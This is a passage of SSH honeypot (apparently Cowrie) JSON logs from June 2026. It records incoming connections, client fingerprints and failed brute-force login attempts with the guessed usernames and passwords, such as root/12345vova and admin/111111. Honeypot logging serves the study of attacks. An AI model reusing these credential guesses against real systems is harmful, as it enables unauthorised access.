s256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:48.460650Z","src_ip":"91.92.42.227","session":"9d9f0c7ee749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37812,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd7785c41f77","protocol":"ssh","message":"New connection: 80.94.92.184:37812 (159.203.135.109:22) [session: cd7785c41f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:51.545303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:51.647269Z","src_ip":"80.94.92.184","session":"cd7785c41f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:51.847456Z","src_ip":"80.94.92.184","session":"cd7785c41f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":2198,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e8cd4301750","protocol":"ssh","message":"New connection: 38.93.206.2:2198 (10.17.0.5:22) [session: 1e8cd4301750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:52.219742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:52.225704Z","src_ip":"38.93.206.2","session":"1e8cd4301750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:52.275181Z","src_ip":"38.93.206.2","session":"1e8cd4301750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345vova","message":"login attempt [root/12345vova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:52.426859Z","src_ip":"38.93.206.2","session":"1e8cd4301750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:52.688922Z","src_ip":"91.92.42.227","session":"9d9f0c7ee749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:53.479373Z","src_ip":"38.93.206.2","session":"1e8cd4301750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:53.889278Z","src_ip":"80.94.92.184","session":"cd7785c41f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41780,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e512e61651","protocol":"ssh","message":"New connection: 91.92.42.227:41780 (10.17.0.5:22) [session: 12e512e61651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:54.361040Z"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:54.691243Z","src_ip":"91.92.42.227","session":"9d9f0c7ee749","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:55.220532Z","src_ip":"91.92.42.227","session":"12e512e61651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:55.226195Z","src_ip":"91.92.42.227","session":"12e512e61651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:55.313468Z","src_ip":"80.94.92.184","session":"cd7785c41f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:59.650747Z","src_ip":"91.92.42.227","session":"12e512e61651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56064,"dst_ip":"10.17.0.5","dst_port":22,"session":"c74480e8b3a4","protocol":"ssh","message":"New connection: 91.92.42.227:56064 (10.17.0.5:22) [session: c74480e8b3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:00.766340Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:01.677259Z","src_ip":"91.92.42.227","session":"12e512e61651","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:01.729449Z","src_ip":"91.92.42.227","session":"c74480e8b3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:01.732974Z","src_ip":"91.92.42.227","session":"c74480e8b3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39000,"dst_ip":"159.203.135.109","dst_port":22,"session":"0309490ced9b","protocol":"ssh","message":"New connection: 103.172.78.219:39000 (159.203.135.109:22) [session: 0309490ced9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:04.351836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:04.356402Z","src_ip":"103.172.78.219","session":"0309490ced9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:04.618723Z","src_ip":"103.172.78.219","session":"0309490ced9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfkbcvfy","message":"login attempt [root/nfkbcvfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:05.391036Z","src_ip":"103.172.78.219","session":"0309490ced9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:06.650860Z","src_ip":"103.172.78.219","session":"0309490ced9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"123","message":"login attempt [jellyfin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:06.771953Z","src_ip":"91.92.42.227","session":"c74480e8b3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46450,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f3f5438d2b4","protocol":"ssh","message":"New connection: 91.92.42.227:46450 (10.17.0.5:22) [session: 2f3f5438d2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:07.741430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:08.668008Z","src_ip":"91.92.42.227","session":"2f3f5438d2b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:08.671600Z","src_ip":"91.92.42.227","session":"2f3f5438d2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:08.791059Z","src_ip":"91.92.42.227","session":"c74480e8b3a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:13.595893Z","src_ip":"91.92.42.227","session":"2f3f5438d2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:15.263639Z","src_ip":"91.92.42.227","session":"2f3f5438d2b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7d94a6d8b64","protocol":"ssh","message":"New connection: 91.92.42.227:33136 (10.17.0.5:22) [session: b7d94a6d8b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:15.774308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:16.237967Z","src_ip":"91.92.42.227","session":"b7d94a6d8b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:16.241487Z","src_ip":"91.92.42.227","session":"b7d94a6d8b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40292,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bf7205ed0f2","protocol":"ssh","message":"New connection: 168.167.228.74:40292 (159.203.135.109:22) [session: 3bf7205ed0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:17.207650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:17.211538Z","src_ip":"168.167.228.74","session":"3bf7205ed0f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:17.468336Z","src_ip":"168.167.228.74","session":"3bf7205ed0f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:18.423486Z","src_ip":"91.92.42.227","session":"b7d94a6d8b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqq1","message":"login attempt [root/qqqqqq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:18.519618Z","src_ip":"168.167.228.74","session":"3bf7205ed0f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:19.775918Z","src_ip":"168.167.228.74","session":"3bf7205ed0f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:20.601596Z","src_ip":"91.92.42.227","session":"b7d94a6d8b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33176,"dst_ip":"10.17.0.5","dst_port":22,"session":"55673ddc4a00","protocol":"ssh","message":"New connection: 91.92.42.227:33176 (10.17.0.5:22) [session: 55673ddc4a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:22.022703Z"}
